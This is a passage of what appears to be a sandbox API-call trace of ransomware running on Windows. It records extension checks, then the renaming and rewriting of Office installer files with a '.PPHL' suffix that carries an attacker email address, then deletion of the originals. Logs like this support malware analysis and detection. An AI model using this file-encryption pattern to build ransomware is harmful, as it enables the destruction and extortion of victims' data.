lstrlenW (lpString=".doc") returned 4 [0077.773] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString=".docx") returned 5 [0077.773] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0077.773] lstrlenW (lpString=".pdf") returned 4 [0077.773] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".xls") returned 4 [0077.773] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".xlsx") returned 5 [0077.773] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0077.773] lstrlenW (lpString=".ppt") returned 4 [0077.773] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] lstrlenW (lpString=".zip") returned 4 [0077.773] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".rar") returned 4 [0077.773] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".bz2") returned 4 [0077.773] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString=".7z") returned 3 [0077.773] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] lstrlenW (lpString=".dbf") returned 4 [0077.773] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] lstrlenW (lpString=".1cd") returned 4 [0077.773] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] lstrlenW (lpString=".jpg") returned 4 [0077.773] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.774] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0077.774] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0077.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0077.774] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=27532288) returned 1 [0077.774] CloseHandle (hObject=0x180) returned 1 [0077.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0077.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.774] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0077.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0077.775] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0077.775] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.775] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.780] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.780] ReadFile (in: hFile=0x180, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.788] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.788] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.788] ReadFile (in: hFile=0x180, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.985] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.985] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0078.069] SetEndOfFile (hFile=0x180) returned 1 [0078.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fb3fc0 [0078.288] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.288] WriteFile (in: hFile=0x180, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.289] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x180, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.294] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.294] WriteFile (in: hFile=0x180, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.297] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb3fc0 | out: hHeap=0x5d0000) returned 1 [0078.297] CloseHandle (hObject=0x180) returned 1 [0078.297] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0078.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.298] lstrlenW (lpString=".doc") returned 4 [0078.298] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.298] lstrlenW (lpString=".docx") returned 5 [0078.298] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0078.298] lstrlenW (lpString=".pdf") returned 4 [0078.298] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.298] lstrlenW (lpString=".xls") returned 4 [0078.298] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.298] lstrlenW (lpString=".xlsx") returned 5 [0078.298] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0078.298] lstrlenW (lpString=".ppt") returned 4 [0078.298] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.298] lstrlenW (lpString=".zip") returned 4 [0078.298] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.298] lstrlenW (lpString=".rar") returned 4 [0078.298] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.298] lstrlenW (lpString=".bz2") returned 4 [0078.298] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.298] lstrlenW (lpString=".7z") returned 3 [0078.298] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.298] lstrlenW (lpString=".dbf") returned 4 [0078.298] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.299] lstrlenW (lpString=".1cd") returned 4 [0078.299] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.299] lstrlenW (lpString=".jpg") returned 4 [0078.299] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.299] lstrlenW (lpString=".doc") returned 4 [0078.299] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.299] lstrlenW (lpString=".docx") returned 5 [0078.299] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0078.299] lstrlenW (lpString=".pdf") returned 4 [0078.299] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.299] lstrlenW (lpString=".xls") returned 4 [0078.299] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.299] lstrlenW (lpString=".xlsx") returned 5 [0078.299] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0078.299] lstrlenW (lpString=".ppt") returned 4 [0078.299] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.299] lstrlenW (lpString=".zip") returned 4 [0078.299] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.299] lstrlenW (lpString=".rar") returned 4 [0078.299] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.299] lstrlenW (lpString=".bz2") returned 4 [0078.299] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.300] lstrlenW (lpString=".7z") returned 3 [0078.300] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.300] lstrlenW (lpString=".dbf") returned 4 [0078.300] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.300] lstrlenW (lpString=".1cd") returned 4 [0078.300] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0078.300] lstrlenW (lpString=".jpg") returned 4 [0078.300] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.300] lstrcmpiW (lpString1=".exe", lpString2=".PPHL") returned -1 [0078.300] lstrlenW (lpString="setup.exe") returned 9 [0078.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0078.825] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=1377656) returned 1 [0078.825] CloseHandle (hObject=0x1f0) returned 1 [0078.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0078.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0078.826] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.826] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0078.826] GetLastError () returned 0x0 [0078.826] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0078.957] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0078.978] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x50588, lpOverlapped=0x0) returned 1 [0079.006] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0079.015] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.015] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.015] SetEndOfFile (hFile=0x180) returned 1 [0079.015] CloseHandle (hObject=0x180) returned 1 [0079.016] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.016] SetEndOfFile (hFile=0x1f0) returned 1 [0079.019] CloseHandle (hObject=0x1f0) returned 1 [0079.019] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.019] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0079.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".doc") returned 4 [0079.020] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.020] lstrlenW (lpString=".docx") returned 5 [0079.020] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0079.020] lstrlenW (lpString=".pdf") returned 4 [0079.020] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString=".xls") returned 4 [0079.020] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString=".xlsx") returned 5 [0079.020] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0079.020] lstrlenW (lpString=".ppt") returned 4 [0079.020] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".zip") returned 4 [0079.020] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString=".rar") returned 4 [0079.020] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString=".bz2") returned 4 [0079.020] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.020] lstrlenW (lpString=".7z") returned 3 [0079.020] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".dbf") returned 4 [0079.020] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".1cd") returned 4 [0079.020] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".jpg") returned 4 [0079.020] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.020] lstrlenW (lpString=".doc") returned 4 [0079.021] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.021] lstrlenW (lpString=".docx") returned 5 [0079.021] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0079.021] lstrlenW (lpString=".pdf") returned 4 [0079.021] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.021] lstrlenW (lpString=".xls") returned 4 [0079.021] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.021] lstrlenW (lpString=".xlsx") returned 5 [0079.021] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0079.021] lstrlenW (lpString=".ppt") returned 4 [0079.021] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.021] lstrlenW (lpString=".zip") returned 4 [0079.021] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.021] lstrlenW (lpString=".rar") returned 4 [0079.021] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.021] lstrlenW (lpString=".bz2") returned 4 [0079.021] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.021] lstrlenW (lpString=".7z") returned 3 [0079.021] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.021] lstrlenW (lpString=".dbf") returned 4 [0079.021] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.021] lstrlenW (lpString=".1cd") returned 4 [0079.021] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.021] lstrlenW (lpString=".jpg") returned 4 [0079.021] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.021] lstrcmpiW (lpString1=".exe", lpString2=".PPHL") returned -1 [0079.021] lstrlenW (lpString="ose.exe") returned 7 [0079.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0079.022] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=174440) returned 1 [0079.022] CloseHandle (hObject=0x1f0) returned 1 [0079.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0079.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0079.022] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.022] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0079.023] GetLastError () returned 0x0 [0079.023] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0079.326] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0079.330] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.330] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0079.330] SetEndOfFile (hFile=0x180) returned 1 [0079.330] CloseHandle (hObject=0x180) returned 1 [0079.330] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.331] SetEndOfFile (hFile=0x1f0) returned 1 [0079.332] CloseHandle (hObject=0x1f0) returned 1 [0079.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.333] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" 